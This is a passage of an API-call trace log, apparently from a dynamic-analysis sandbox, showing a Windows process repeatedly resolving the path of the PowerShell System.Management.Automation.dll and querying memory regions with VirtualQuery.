nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.624] GetLastError () returned 0x0 [0075.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.624] GetLastError () returned 0x0 [0075.624] VirtualQuery (in: lpAddress=0x29cef4, lpBuffer=0x29def4, dwLength=0x1c | out: lpBuffer=0x29def4*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.624] VirtualQuery (in: lpAddress=0x29cf30, lpBuffer=0x29df30, dwLength=0x1c | out: lpBuffer=0x29df30*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d8e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.625] GetLastError () returned 0x0 [0075.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.625] GetLastError () returned 0x0 [0075.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.625] GetLastError () returned 0x0 [0075.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.625] GetLastError () returned 0x0 [0075.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.625] GetLastError () returned 0x0 [0075.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.625] GetLastError () returned 0x0 [0075.625] VirtualQuery (in: lpAddress=0x29cef4, lpBuffer=0x29def4, dwLength=0x1c | out: lpBuffer=0x29def4*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.626] VirtualQuery (in: lpAddress=0x29cf30, lpBuffer=0x29df30, dwLength=0x1c | out: lpBuffer=0x29df30*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.626] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d8e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.626] GetLastError () returned 0x0 [0075.626] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.626] GetLastError () returned 0x0 [0075.626] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.626] GetLastError () returned 0x0 [0075.626] VirtualQuery (in: lpAddress=0x29cef4, lpBuffer=0x29def4, dwLength=0x1c | out: lpBuffer=0x29def4*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.626] VirtualQuery (in: lpAddress=0x29cf30, lpBuffer=0x29df30, dwLength=0x1c | out: lpBuffer=0x29df30*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.626] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.626] GetLastError () returned 0x0 [0075.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.627] GetLastError () returned 0x0 [0075.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.627] GetLastError () returned 0x0 [0075.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.627] GetLastError () returned 0x0 [0075.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.627] GetLastError () returned 0x0 [0075.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.627] GetLastError () returned 0x0 [0075.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.627] GetLastError () returned 0x0 [0075.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.627] GetLastError () returned 0x0 [0075.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29da30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.627] GetLastError () returned 0x0 [0075.627] VirtualQuery (in: lpAddress=0x29cef4, lpBuffer=0x29def4, dwLength=0x1c | out: lpBuffer=0x29def4*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.628] VirtualQuery (in: lpAddress=0x29cf30, lpBuffer=0x29df30, dwLength=0x1c | out: lpBuffer=0x29df30*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d8e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.628] GetLastError () returned 0x0 [0075.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.628] GetLastError () returned 0x0 [0075.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.628] GetLastError () returned 0x0 [0075.628] VirtualQuery (in: lpAddress=0x29cef4, lpBuffer=0x29def4, dwLength=0x1c | out: lpBuffer=0x29def4*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.628] VirtualQuery (in: lpAddress=0x29cf30, lpBuffer=0x29df30, dwLength=0x1c | out: lpBuffer=0x29df30*(BaseAddress=0x29c000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d8e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.628] GetLastError () returned 0x0 [0075.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.628] GetLastError () returned 0x0 [0075.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29d898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.628] GetLastError () returned 0x0 [0075.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.629] GetLastError () returned 0x0 [0075.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.629] GetLastError () returned 0x0 [0075.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29de00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.629] GetLastError () returned 0x0 [0075.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29ddb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.629] GetLastError () returned 0x0 [0075.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.629] GetLastError () returned 0x0 [0075.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.629] GetLastError () returned 0x0 [0075.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.629] GetLastError () returned 0x0 [0075.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.629] GetLastError () returned 0x0 [0075.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.630] GetLastError () returned 0x0 [0075.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29def0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.630] GetLastError () returned 0x0 [0075.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.630] GetLastError () returned 0x0 [0075.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dea0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.630] GetLastError () returned 0x0 [0075.630] VirtualQuery (in: lpAddress=0x29d364, lpBuffer=0x29e364, dwLength=0x1c | out: lpBuffer=0x29e364*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.630] GetLastError () returned 0x0 [0075.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.630] GetLastError () returned 0x0 [0075.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.630] GetLastError () returned 0x0 [0075.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.631] GetLastError () returned 0x0 [0075.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.631] GetLastError () returned 0x0 [0075.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.631] GetLastError () returned 0x0 [0075.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.631] GetLastError () returned 0x0 [0075.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.631] GetLastError () returned 0x0 [0075.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.631] GetLastError () returned 0x0 [0075.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.631] GetLastError () returned 0x0 [0075.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.631] GetLastError () returned 0x0 [0075.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.632] GetLastError () returned 0x0 [0075.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29db20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.632] GetLastError () returned 0x0 [0075.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.632] GetLastError () returned 0x0 [0075.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.632] GetLastError () returned 0x0 [0075.632] VirtualQuery (in: lpAddress=0x29d364, lpBuffer=0x29e364, dwLength=0x1c | out: lpBuffer=0x29e364*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd58, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.632] GetLastError () returned 0x0 [0075.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.632] GetLastError () returned 0x0 [0075.632] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29dd08, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", 